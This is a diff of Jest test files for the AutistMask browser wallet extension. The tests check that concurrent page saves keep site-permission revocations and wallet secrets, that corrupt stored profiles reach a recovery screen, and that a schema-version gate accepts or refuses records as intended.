// The balance update itself must not be lost either — this is a
|
||||||
|
// merge, not deletion-always-wins.
|
||||||
|
expect(persisted.wallets[0].addresses[0].balance).toBe("1.2345");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("background refresh racing a wallet deleted on another page", () => {
|
||||||
|
test("the wallet deleted elsewhere stays deleted after background's stale balance save", async () => {
|
||||||
|
const storage = makeStorageStub();
|
||||||
|
await storage.set({ autistmask: { wallets: [W1, W2] } });
|
||||||
|
|
||||||
|
const background = loadPage(storage);
|
||||||
|
await background.state.loadState();
|
||||||
|
background.state.state.wallets[0].addresses[0].balance = "1.2345";
|
||||||
|
|
||||||
|
// A second page deletes Wallet 2 while background's refresh is in
|
||||||
|
// flight — the same splice deleteWallet.js's removeWalletFromState()
|
||||||
|
// does.
|
||||||
|
const popup = loadPage(storage);
|
||||||
|
await popup.state.loadState();
|
||||||
|
popup.state.state.wallets.splice(1, 1);
|
||||||
|
popup.state.state.hasWallet = popup.state.state.wallets.length > 0;
|
||||||
|
await popup.state.saveState();
|
||||||
|
expect(
|
||||||
|
(await storage.get("autistmask")).autistmask.wallets,
|
||||||
|
).toHaveLength(1);
|
||||||
|
|
||||||
|
await background.state.saveState();
|
||||||
|
|
||||||
|
const persisted = (await storage.get("autistmask")).autistmask;
|
||||||
|
expect(persisted.wallets.map((w) => w.name)).toEqual(["Wallet 1"]);
|
||||||
|
expect(persisted.wallets[0].addresses[0].balance).toBe("1.2345");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// allowedSites/deniedSites: { [address]: [hostname, ...] }. Mutated in place
|
||||||
|
// from two different contexts — src/background/index.js:592-599 pushes a
|
||||||
|
// newly approved hostname onto state.allowedSites[activeAddress], and the
|
||||||
|
// Settings "revoke" button (src/popup/views/settings.js:55-68) filters a
|
||||||
|
// hostname out of state[key][addr] in place, deleting the address key
|
||||||
|
// entirely once its list is empty — the exact membership-vs-whole-field
|
||||||
|
// pattern that made the whole-field `wallets` diff unsafe, on a
|
||||||
|
// security-relevant field: a stale whole-field save here can resurrect a
|
||||||
|
// revoked permission or wipe a freshly granted one.
|
||||||
|
const ADDR1 = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
||||||
|
const ADDR2 = "0xdAC17F958D2ee523a2206206994597C13D831ec7";
|
||||||
|
|
||||||
|
function approveSite(pageState, address, hostname) {
|
||||||
|
if (!pageState.allowedSites[address]) {
|
||||||
|
pageState.allowedSites[address] = [];
|
||||||
|
}
|
||||||
|
if (!pageState.allowedSites[address].includes(hostname)) {
|
||||||
|
pageState.allowedSites[address].push(hostname);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function revokeSite(pageState, hostname) {
|
||||||
|
for (const addr of Object.keys(pageState.allowedSites)) {
|
||||||
|
pageState.allowedSites[addr] = pageState.allowedSites[addr].filter(
|
||||||
|
(h) => h !== hostname,
|
||||||
|
);
|
||||||
|
if (pageState.allowedSites[addr].length === 0) {
|
||||||
|
delete pageState.allowedSites[addr];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("a dApp approval racing a stale Settings page's later save", () => {
|
||||||
|
test("the fresh approval survives Settings revoking an unrelated site", async () => {
|
||||||
|
const storage = makeStorageStub();
|
||||||
|
await storage.set({
|
||||||
|
autistmask: {
|
||||||
|
wallets: [W1],
|
||||||
|
allowedSites: { [ADDR2]: ["other.example"] },
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
// Settings loads first, and its save lands last — before either has
|
||||||
|
// any idea a dApp approval happened elsewhere in between.
|
||||||
|
const settings = loadPage(storage);
|
||||||
|
await settings.state.loadState();
|
||||||
|
|
||||||
|
// A dApp approval window, opened later, approves a new site for a
|
||||||
|
// different address and saves — the real sequence at
|
||||||
|
// src/background/index.js:592-599.
|
||||||
|
const approval = loadPage(storage);
|
||||||
|
await approval.state.loadState();
|
||||||
|
approveSite(approval.state.state, ADDR1, "dapp.example");
|
||||||
|
await approval.state.saveState();
|
||||||
|
expect(
|
||||||
|
(await storage.get("autistmask")).autistmask.allowedSites[ADDR1],
|
||||||
|
).toEqual(["dapp.example"]);
|
||||||
|
|
||||||
|
// Settings revokes its own, unrelated site — the real sequence at
|
||||||
|
// src/popup/views/settings.js:55-68 — and saves from state loaded
|
||||||
|
// before the dApp approval ever happened.
|
||||||
|
revokeSite(settings.state.state, "other.example");
|
||||||
|
await settings.state.saveState();
|
||||||
|
|
||||||
|
const persisted = (await storage.get("autistmask")).autistmask;
|
||||||
|
expect(persisted.allowedSites[ADDR1]).toEqual(["dapp.example"]);
|
||||||
|
expect(persisted.allowedSites[ADDR2]).toBeUndefined();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("a revoked site permission against a stale page's later save", () => {
|
||||||
|
test("the revocation holds even when the stale page approves something else", async () => {
|
||||||
|
const storage = makeStorageStub();
|
||||||
|
await storage.set({
|
||||||
|
autistmask: {
|
||||||
|
wallets: [W1],
|
||||||
|
allowedSites: { [ADDR1]: ["evil.example"] },
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
// A stale page loads while the permission still stands.
|
||||||
|
const stale = loadPage(storage);
|
||||||
|
await stale.state.loadState();
|
||||||
|
|
||||||
|
// Settings revokes it — src/popup/views/settings.js:55-68 — from a
|
||||||
|
// second page.
|
||||||
|
const settings = loadPage(storage);
|
||||||
|
await settings.state.loadState();
|
||||||
|
revokeSite(settings.state.state, "evil.example");
|
||||||
|
await settings.state.saveState();
|
||||||
|
expect(
|
||||||
|
(await storage.get("autistmask")).autistmask.allowedSites[ADDR1],
|
||||||
|
).toBeUndefined();
|
||||||
|
|
||||||
|
// The stale page, unaware of the revoke, approves an unrelated site
|
||||||
|
// for a different address and saves — src/background/index.js:592-599.
|
||||||
|
approveSite(stale.state.state, ADDR2, "good.example");
|
||||||
|
await stale.state.saveState();
|
||||||
|
|
||||||
|
const persisted = (await storage.get("autistmask")).autistmask;
|
||||||
|
expect(persisted.allowedSites[ADDR2]).toEqual(["good.example"]);
|
||||||
|
expect(persisted.allowedSites[ADDR1]).toBeUndefined();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// mergeListByIdentity()'s identity function is not guaranteed collision-free
|
||||||
|
// — walletIdentity() falls back to one shared "addr:" value for any wallet
|
||||||
|
// with neither an xpub nor a populated first address (a legacy or corrupt
|
||||||
|
// record). Two such records created independently on two different pages
|
||||||
|
// must not silently collapse into one, dropping the loser's
|
||||||
|
// encryptedSecret with no error and no log.
|
||||||
|
function legacyWallet(name, secret) {
|
||||||
|
return {
|
||||||
|
type: "legacy",
|
||||||
|
name,
|
||||||
|
encryptedSecret: secret,
|
||||||
|
nextIndex: 0,
|
||||||
|
addresses: [],
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("two wallets independently created with a colliding identity", () => {
|
||||||
|
test("both survive, encryptedSecret included, instead of one silently replacing the other", async () => {
|
||||||
|
const storage = makeStorageStub();
|
||||||
|
await storage.set({ autistmask: { wallets: [W1] } });
|
||||||
|
|
||||||
|
// Both pages load before either has created their malformed wallet,
|
||||||
|
// so neither has baseline knowledge of the other's.
|
||||||
|
const pageA = loadPage(storage);
|
||||||
|
await pageA.state.loadState();
|
||||||
|
const pageB = loadPage(storage);
|
||||||
|
await pageB.state.loadState();
|
||||||
|
|
||||||
|
pageA.state.state.wallets.push(legacyWallet("Legacy A", "secret-a"));
|
||||||
|
pageA.state.state.hasWallet = true;
|
||||||
|
await pageA.state.saveState();
|
||||||
|
expect(
|
||||||
|
(await storage.get("autistmask")).autistmask.wallets,
|
||||||
|
).toHaveLength(2);
|
||||||
|
|
||||||
|
pageB.state.state.wallets.push(legacyWallet("Legacy B", "secret-b"));
|
||||||
|
pageB.state.state.hasWallet = true;
|
||||||
|
await pageB.state.saveState();
|
||||||
|
|
||||||
|
const persisted = (await storage.get("autistmask")).autistmask;
|
||||||
|
const secrets = persisted.wallets.map((w) => w.encryptedSecret);
|
||||||
|
expect(secrets).toContain("secret-one");
|
||||||
|
expect(secrets).toContain("secret-a");
|
||||||
|
expect(secrets).toContain("secret-b");
|
||||||
|
});
|
||||||
|
});
|
||||||
367
tests/stateRecovery.test.js
Normal file
367
tests/stateRecovery.test.js
Normal file
@@ -0,0 +1,367 @@
|
|||||||
|
// A stored profile the popup cannot read must produce a SCREEN, not a blank
|
||||||
|
// popup (https://git.eeqj.de/sneak/AutistMask/issues/311).
|
||||||
|
//
|
||||||
|
// The three corrupt blobs below are the ones the pre-1.0 audit wrote into
|
||||||
|
// storage. Against the build this file was added to, each one rendered nothing
|
||||||
|
// at all — no view, no message, no control — because init() dereferenced
|
||||||
|
// `state.wallets[0].addresses` on a record nothing had validated and threw
|
||||||
|
// before the first showView().
|
||||||
|
//
|
||||||
|
// So the assertions here are deliberately made through the REAL popup entry
|
||||||
|
// point rather than against the recovery view module directly. A recovery
|
||||||
|
// screen that renders perfectly when something calls it, and that nothing
|
||||||
|
// calls, is exactly the defect: what has to be true is that BOOTING the popup
|
||||||
|
// on a bad blob lands on it.
|
||||||
|
//
|
||||||
|
// The boot harness and its DOM stub — built FROM src/popup/index.html, so
|
||||||
|
// "which views are visible" is answered against the real element set — live in
|
||||||
|
// tests/support/popupBoot.js, since tests/persistedEntryFloors.test.js needs
|
||||||
|
// the same boot.
|
||||||
|
//
|
||||||
|
// The fourth case is the upgrade one, and it is the case that must NOT reach
|
||||||
|
// the recovery screen: every install in the field has a valid profile with no
|
||||||
|
// version field, and showing those users a wipe prompt would be a worse defect
|
||||||
|
// than the one being fixed. It is migrated in place and keeps working.
|
||||||
|
|
||||||
|
const {
|
||||||
|
bootPopup,
|
||||||
|
cleanupPopup,
|
||||||
|
unversionedValidProfile,
|
||||||
|
ADDRESS,
|
||||||
|
TOKEN_ADDRESS,
|
||||||
|
} = require("./support/popupBoot");
|
||||||
|
|
||||||
|
// ------------------------------------------------------------- fixtures
|
||||||
|
|
||||||
|
// The three blobs from the issue, each with the error it produced.
|
||||||
|
const CORRUPT_BLOBS = [
|
||||||
|
{
|
||||||
|
name: "wallets is a string",
|
||||||
|
blob: { hasWallet: true, wallets: ADDRESS, activeAddress: ADDRESS },
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "wallets is an array of garbage",
|
||||||
|
blob: {
|
||||||
|
hasWallet: true,
|
||||||
|
wallets: [null, 42, "wallet"],
|
||||||
|
activeAddress: ADDRESS,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "future-schema blob (unknown fields, no version)",
|
||||||
|
blob: {
|
||||||
|
hasWallet: true,
|
||||||
|
// A later schema that renamed the field and moved the key
|
||||||
|
// material, written by a build this one knows nothing about, and
|
||||||
|
// stamped with no version because this build never wrote one.
|
||||||
|
wallets: [
|
||||||
|
{
|
||||||
|
id: "wallet-1",
|
||||||
|
label: "Wallet 1",
|
||||||
|
accounts: [{ addr: ADDRESS, wei: "0x0" }],
|
||||||
|
keyring: { kind: "hd", vault: "…" },
|
||||||
|
},
|
||||||
|
],
|
||||||
|
profileFormat: "am-2",
|
||||||
|
activeAccount: ADDRESS,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
afterEach(cleanupPopup);
|
||||||
|
|
||||||
|
// --------------------------------------------------------------- tests
|
||||||
|
|
||||||
|
describe("a stored profile the popup cannot read", () => {
|
||||||
|
for (const { name, blob } of CORRUPT_BLOBS) {
|
||||||
|
test(`${name}: the recovery screen, not a blank popup`, async () => {
|
||||||
|
const env = await bootPopup(blob);
|
||||||
|
|
||||||
|
// Asserted together, and in the audit's own shape: a failure here
|
||||||
|
// prints both what was on screen and what the console said, which
|
||||||
|
// is the pair that identifies this defect.
|
||||||
|
expect({
|
||||||
|
visibleViews: env.visibleViews(),
|
||||||
|
errors: env.pageErrors,
|
||||||
|
}).toEqual({ visibleViews: ["state-recovery"], errors: [] });
|
||||||
|
|
||||||
|
// The screen has to NAME the problem. A blank recovery screen is
|
||||||
|
// the same dead end with a border around it.
|
||||||
|
expect(env.text("state-recovery-problem").length).toBeGreaterThan(
|
||||||
|
10,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
test("the Settings gear is hidden, since every screen behind it reads the profile", async () => {
|
||||||
|
const env = await bootPopup(CORRUPT_BLOBS[0].blob);
|
||||||
|
|
||||||
|
expect(env.hidden("btn-settings")).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("it does not write over the record it could not read", async () => {
|
||||||
|
// The blob is evidence, and possibly the only copy of key material in
|
||||||
|
// a shape a later build could recover. A boot that normalized it back
|
||||||
|
// into storage would destroy exactly that.
|
||||||
|
const env = await bootPopup(CORRUPT_BLOBS[2].blob);
|
||||||
|
|
||||||
|
expect(env.storage.read("autistmask")).toEqual(CORRUPT_BLOBS[2].blob);
|
||||||
|
expect(env.storage.set).not.toHaveBeenCalled();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the export on the recovery screen", () => {
|
||||||
|
test("hands back the raw stored record verbatim", async () => {
|
||||||
|
const env = await bootPopup(CORRUPT_BLOBS[2].blob);
|
||||||
|
|
||||||
|
await env.click("btn-state-recovery-export");
|
||||||
|
|
||||||
|
// Shown in the page, which always works, whatever the browser does
|
||||||
|
// with a download from an extension popup.
|
||||||
|
expect(env.hidden("state-recovery-blob")).toBe(false);
|
||||||
|
expect(JSON.parse(env.value("state-recovery-blob"))).toEqual(
|
||||||
|
CORRUPT_BLOBS[2].blob,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the destructive reset on the recovery screen", () => {
|
||||||
|
test("erases nothing without the typed confirmation", async () => {
|
||||||
|
const env = await bootPopup(CORRUPT_BLOBS[0].blob);
|
||||||
|
|
||||||
|
env.node("state-recovery-reset-input").value = "yes";
|
||||||
|
await env.click("btn-state-recovery-reset");
|
||||||
|
|
||||||
|
expect(env.storage.read("autistmask")).toEqual(CORRUPT_BLOBS[0].blob);
|
||||||
|
expect(env.text("state-recovery-flash").length).toBeGreaterThan(10);
|
||||||
|
expect(env.reloaded()).toBe(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("erases the stored profile once the phrase is typed", async () => {
|
||||||
|
const env = await bootPopup(CORRUPT_BLOBS[0].blob);
|
||||||
|
|
||||||
|
env.node("state-recovery-reset-input").value = "erase my wallet";
|
||||||
|
await env.click("btn-state-recovery-reset");
|
||||||
|
|
||||||
|
expect(env.storage.read("autistmask")).toBeUndefined();
|
||||||
|
expect(env.reloaded()).toBe(1);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("an unversioned profile that is perfectly valid", () => {
|
||||||
|
// The upgrade case. Every install in the field is in this state, and the
|
||||||
|
// popup must load it, not offer to wipe it.
|
||||||
|
test("boots to the wallet list, not the recovery screen", async () => {
|
||||||
|
const env = await bootPopup(unversionedValidProfile());
|
||||||
|
|
||||||
|
expect(env.visibleViews()).toEqual(["main"]);
|
||||||
|
expect(env.pageErrors).toEqual([]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("is migrated in place: the version is stamped, the wallet survives", async () => {
|
||||||
|
const env = await bootPopup(unversionedValidProfile());
|
||||||
|
|
||||||
|
const stored = env.storage.read("autistmask");
|
||||||
|
expect(stored.schemaVersion).toBe(1);
|
||||||
|
expect(stored.wallets).toHaveLength(1);
|
||||||
|
expect(stored.wallets[0].encryptedSecret).toBe("encrypted-secret-1");
|
||||||
|
expect(stored.wallets[0].addresses[0].address).toBe(ADDRESS);
|
||||||
|
expect(stored.activeAddress).toBe(ADDRESS);
|
||||||
|
expect(stored.allowedSites).toEqual({ [ADDRESS]: ["dapp.example"] });
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("a first run with nothing in storage", () => {
|
||||||
|
test("boots to Welcome", async () => {
|
||||||
|
const env = await bootPopup(undefined);
|
||||||
|
|
||||||
|
expect(env.visibleViews()).toEqual(["welcome"]);
|
||||||
|
expect(env.pageErrors).toEqual([]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("a garbage value in a field the gate does not check", () => {
|
||||||
|
// The gate refuses only what nothing can floor: the wallet list, the
|
||||||
|
// version, the network key. Everything else is normalizePersisted()'s job,
|
||||||
|
// and where that job was written as `saved.x || default` rather than a
|
||||||
|
// type check, a TRUTHY value of the wrong type walked straight through and
|
||||||
|
// threw on the first dereference — the same blank popup this issue is
|
||||||
|
// about, measured the same way. Every row below did, at the head named
|
||||||
|
// against it; none has ever been removed from this list.
|
||||||
|
//
|
||||||
|
// These belong on the floor rather than in the gate: none of these values
|
||||||
|
// carries key material, all have a sane default, and sending a user whose
|
||||||
|
// wallets are perfectly readable to an export-or-erase screen over a
|
||||||
|
// broken token list would destroy more than it saves.
|
||||||
|
//
|
||||||
|
// The CONTAINER and its ELEMENTS are separate defects. Round 2 floored the
|
||||||
|
// containers with Array.isArray(), which left every row whose container is
|
||||||
|
// a well-formed list of malformed entries still blanking the popup: the
|
||||||
|
// dereference is `t.address.toLowerCase()`, one level below the check.
|
||||||
|
const CORRUPT_FIELDS = [
|
||||||
|
// Container shapes. Observed at 2e2ecf9, before the round-2 floor:
|
||||||
|
// trackedTokens: "nope" -> views=[] "Cannot read properties of
|
||||||
|
// undefined (reading 'toLowerCase')"
|
||||||
|
// trackedTokens: 42 -> views=[] "trackedTokens is not iterable"
|
||||||
|
// trackedTokens: {a:1} -> views=[] "trackedTokens is not iterable"
|
||||||
|
// activeAddress: 42 -> views=[] "address.slice is not a
|
||||||
|
// function"
|
||||||
|
// activeAddress: {a:1} -> views=[] "address.slice is not a
|
||||||
|
// function"
|
||||||
|
{ name: "trackedTokens is a string", patch: { trackedTokens: "nope" } },
|
||||||
|
{ name: "trackedTokens is a number", patch: { trackedTokens: 42 } },
|
||||||
|
{
|
||||||
|
name: "trackedTokens is an object",
|
||||||
|
patch: { trackedTokens: { a: 1 } },
|
||||||
|
},
|
||||||
|
{ name: "activeAddress is a number", patch: { activeAddress: 42 } },
|
||||||
|
{
|
||||||
|
name: "activeAddress is an object",
|
||||||
|
patch: { activeAddress: { a: 1 } },
|
||||||
|
},
|
||||||
|
// Element shapes: a list, holding entries that are not token records.
|
||||||
|
// Observed at a10a984, AFTER the container floor:
|
||||||
|
// [1,2] -> views=[] "Cannot read properties of undefined
|
||||||
|
// (reading 'toLowerCase')"
|
||||||
|
// [null] -> views=[] "Cannot read properties of null
|
||||||
|
// (reading 'address')"
|
||||||
|
// [{}] -> views=[] "Cannot read properties of undefined
|
||||||
|
// (reading 'toLowerCase')"
|
||||||
|
// [{address:42}] -> views=[] "t.address.toLowerCase is not a
|
||||||
|
// function"
|
||||||
|
// ["0xAA…"] -> views=[] "Cannot read properties of undefined
|
||||||
|
// (reading 'toLowerCase')"
|
||||||
|
{
|
||||||
|
name: "trackedTokens holds numbers",
|
||||||
|
patch: { trackedTokens: [1, 2] },
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trackedTokens holds null",
|
||||||
|
patch: { trackedTokens: [null] },
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trackedTokens holds a record with no address",
|
||||||
|
patch: { trackedTokens: [{}] },
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trackedTokens holds a record whose address is a number",
|
||||||
|
patch: { trackedTokens: [{ address: 42 }] },
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "trackedTokens holds bare address strings",
|
||||||
|
patch: { trackedTokens: [TOKEN_ADDRESS] },
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
// The same defect one level deeper, inside a wallet the gate accepted.
|
||||||
|
// tokenBalances is written WHOLESALE by refreshBalances(), so the partial
|
||||||
|
// write https://git.eeqj.de/sneak/AutistMask/issues/311 names as the live
|
||||||
|
// cause of a corrupt record lands exactly here. Observed at a10a984:
|
||||||
|
// "x" -> views=[] "Cannot read properties of undefined (reading
|
||||||
|
// 'toLowerCase')" (a string iterates as characters)
|
||||||
|
// [null] -> views=[] "Cannot read properties of null (reading
|
||||||
|
// 'balance')"
|
||||||
|
// [42] -> views=[] "Cannot read properties of undefined (reading
|
||||||
|
// 'toLowerCase')"
|
||||||
|
// 42 -> views=[] "number 42 is not iterable"
|
||||||
|
const CORRUPT_TOKEN_BALANCES = [
|
||||||
|
{ name: "a string", value: "x" },
|
||||||
|
{ name: "a list holding null", value: [null] },
|
||||||
|
{ name: "a list of numbers", value: [42] },
|
||||||
|
{ name: "a number", value: 42 },
|
||||||
|
];
|
||||||
|
|
||||||
|
function profileWithTokenBalances(value) {
|
||||||
|
const profile = unversionedValidProfile();
|
||||||
|
profile.wallets[0].addresses[0].tokenBalances = value;
|
||||||
|
return profile;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const { name, patch } of CORRUPT_FIELDS) {
|
||||||
|
test(`${name}: a working popup, not a blank one`, async () => {
|
||||||
|
const env = await bootPopup(
|
||||||
|
Object.assign(unversionedValidProfile(), patch),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect({
|
||||||
|
visibleViews: env.visibleViews(),
|
||||||
|
errors: env.pageErrors,
|
||||||
|
}).toEqual({ visibleViews: ["main"], errors: [] });
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const { name, value } of CORRUPT_TOKEN_BALANCES) {
|
||||||
|
test(`an address whose tokenBalances is ${name}: a working popup, not a blank one`, async () => {
|
||||||
|
const env = await bootPopup(profileWithTokenBalances(value));
|
||||||
|
|
||||||
|
expect({
|
||||||
|
visibleViews: env.visibleViews(),
|
||||||
|
errors: env.pageErrors,
|
||||||
|
}).toEqual({ visibleViews: ["main"], errors: [] });
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
test("the wallet is intact afterwards, and the bad value is gone", async () => {
|
||||||
|
const env = await bootPopup(
|
||||||
|
Object.assign(unversionedValidProfile(), {
|
||||||
|
trackedTokens: "nope",
|
||||||
|
activeAddress: 42,
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
const stored = env.storage.read("autistmask");
|
||||||
|
expect(stored.wallets[0].encryptedSecret).toBe("encrypted-secret-1");
|
||||||
|
expect(stored.trackedTokens).toEqual([]);
|
||||||
|
// Floored to null, then filled in by init()'s auto-default.
|
||||||
|
expect(stored.activeAddress).toBe(ADDRESS);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("an empty activeAddress does not leave the popup with none selected", async () => {
|
||||||
|
// "" is text, so a type check alone lets it through — and init()
|
||||||
|
// auto-selects the first address only on a STRICT null, so it has to
|
||||||
|
// be floored to null rather than kept.
|
||||||
|
const env = await bootPopup(
|
||||||
|
Object.assign(unversionedValidProfile(), { activeAddress: "" }),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(env.visibleViews()).toEqual(["main"]);
|
||||||
|
expect(env.storage.read("autistmask").activeAddress).toBe(ADDRESS);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a malformed token entry is dropped, and the well-formed ones beside it survive", async () => {
|
||||||
|
const env = await bootPopup(
|
||||||
|
Object.assign(unversionedValidProfile(), {
|
||||||
|
trackedTokens: [
|
||||||
|
1,
|
||||||
|
null,
|
||||||
|
{},
|
||||||
|
{ address: 42 },
|
||||||
|
TOKEN_ADDRESS,
|
||||||
|
{ address: TOKEN_ADDRESS, symbol: "AAA", decimals: 18 },
|
||||||
|
],
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
const stored = env.storage.read("autistmask");
|
||||||
|
expect(stored.trackedTokens).toEqual([
|
||||||
|
{ address: TOKEN_ADDRESS, symbol: "AAA", decimals: 18 },
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a malformed tokenBalances entry is dropped, and the wallet and its address survive", async () => {
|
||||||
|
const env = await bootPopup(
|
||||||
|
profileWithTokenBalances([
|
||||||
|
null,
|
||||||
|
42,
|
||||||
|
{ address: TOKEN_ADDRESS, symbol: "AAA", balance: "2.0" },
|
||||||
|
]),
|
||||||
|
);
|
||||||
|
|
||||||
|
const stored = env.storage.read("autistmask");
|
||||||
|
expect(stored.wallets[0].encryptedSecret).toBe("encrypted-secret-1");
|
||||||
|
expect(stored.wallets[0].addresses[0].address).toBe(ADDRESS);
|
||||||
|
expect(stored.wallets[0].addresses[0].tokenBalances).toEqual([
|
||||||
|
{ address: TOKEN_ADDRESS, symbol: "AAA", balance: "2.0" },
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
});
|
||||||
423
tests/stateSchema.test.js
Normal file
423
tests/stateSchema.test.js
Normal file
@@ -0,0 +1,423 @@
|
|||||||
|
// The stored-profile version stamp and the shape gate in front of it
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/311).
|
||||||
|
//
|
||||||
|
// tests/stateRecovery.test.js covers what the USER sees when a record is
|
||||||
|
// refused. This file covers what is refused and what is not, which is the
|
||||||
|
// half that decides whether an upgrade brick or a false alarm ever happens:
|
||||||
|
// a gate that refuses too much sends a perfectly good wallet to a wipe prompt,
|
||||||
|
// and one that refuses too little is the blank popup again.
|
||||||
|
|
||||||
|
const fs = require("fs");
|
||||||
|
const path = require("path");
|
||||||
|
|
||||||
|
const {
|
||||||
|
STATE_SCHEMA_VERSION,
|
||||||
|
StateUnusableError,
|
||||||
|
assertStateUsable,
|
||||||
|
migrationNeeded,
|
||||||
|
stateProblem,
|
||||||
|
} = require("../src/shared/stateSchema");
|
||||||
|
const {
|
||||||
|
NETWORKS,
|
||||||
|
UnknownNetworkError,
|
||||||
|
isKnownNetworkId,
|
||||||
|
networkById,
|
||||||
|
} = require("../src/shared/networks");
|
||||||
|
const { normalizePersisted } = require("../src/shared/persistedState");
|
||||||
|
const { RESET_PHRASE } = require("../src/popup/views/stateRecovery");
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
|
||||||
|
const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
||||||
|
|
||||||
|
function validProfile(extra) {
|
||||||
|
return {
|
||||||
|
hasWallet: true,
|
||||||
|
wallets: [
|
||||||
|
{
|
||||||
|
type: "hd",
|
||||||
|
name: "Wallet 1",
|
||||||
|
xpub: "xpub-wallet-1",
|
||||||
|
encryptedSecret: "encrypted-secret-1",
|
||||||
|
nextIndex: 1,
|
||||||
|
addresses: [
|
||||||
|
{ address: ADDRESS, balance: "1.5", tokenBalances: [] },
|
||||||
|
],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
activeAddress: ADDRESS,
|
||||||
|
networkId: "mainnet",
|
||||||
|
...(extra || {}),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
delete global.chrome;
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("what the gate accepts", () => {
|
||||||
|
test("nothing stored at all is a first run, not a defect", () => {
|
||||||
|
expect(stateProblem(undefined)).toBeNull();
|
||||||
|
expect(stateProblem(null)).toBeNull();
|
||||||
|
expect(stateProblem({})).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a valid profile with no version field is accepted and migrated", () => {
|
||||||
|
const saved = validProfile();
|
||||||
|
|
||||||
|
expect(stateProblem(saved)).toBeNull();
|
||||||
|
expect(migrationNeeded(saved)).toBe(true);
|
||||||
|
// The migration IS the stamp: version 1 is the shape that shipped
|
||||||
|
// unversioned, so nothing about the record has to change.
|
||||||
|
expect(normalizePersisted(saved).schemaVersion).toBe(
|
||||||
|
STATE_SCHEMA_VERSION,
|
||||||
|
);
|
||||||
|
expect(normalizePersisted(saved).wallets).toEqual(saved.wallets);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a profile already at the current version needs no migration", () => {
|
||||||
|
const saved = validProfile({ schemaVersion: STATE_SCHEMA_VERSION });
|
||||||
|
|
||||||
|
expect(stateProblem(saved)).toBeNull();
|
||||||
|
expect(migrationNeeded(saved)).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("an empty wallet list is fine", () => {
|
||||||
|
expect(stateProblem({ hasWallet: false, wallets: [] })).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("unknown extra fields alone are not a defect", () => {
|
||||||
|
// Only a change in the MEANING of a stored field is a version bump, so
|
||||||
|
// a field this build does not know must not be a refusal on its own —
|
||||||
|
// otherwise a downgrade would wipe a working wallet.
|
||||||
|
expect(stateProblem(validProfile({ somethingNew: 42 }))).toBeNull();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("what the gate refuses", () => {
|
||||||
|
test("a record that is not the record AutistMask stores", () => {
|
||||||
|
expect(stateProblem("wallet")).toMatch(/not the record/);
|
||||||
|
expect(stateProblem([1, 2])).toMatch(/not the record/);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a version from a newer build, naming both versions", () => {
|
||||||
|
const problem = stateProblem(
|
||||||
|
validProfile({ schemaVersion: STATE_SCHEMA_VERSION + 1 }),
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(problem).toMatch(/newer version/);
|
||||||
|
expect(problem).toContain(String(STATE_SCHEMA_VERSION + 1));
|
||||||
|
expect(problem).toContain(String(STATE_SCHEMA_VERSION));
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a version that is not a version at all", () => {
|
||||||
|
for (const version of ["1", 1.5, 0, -1, null, {}]) {
|
||||||
|
expect(
|
||||||
|
stateProblem(validProfile({ schemaVersion: version })),
|
||||||
|
).toMatch(/schema version/);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("wallets that is not a list", () => {
|
||||||
|
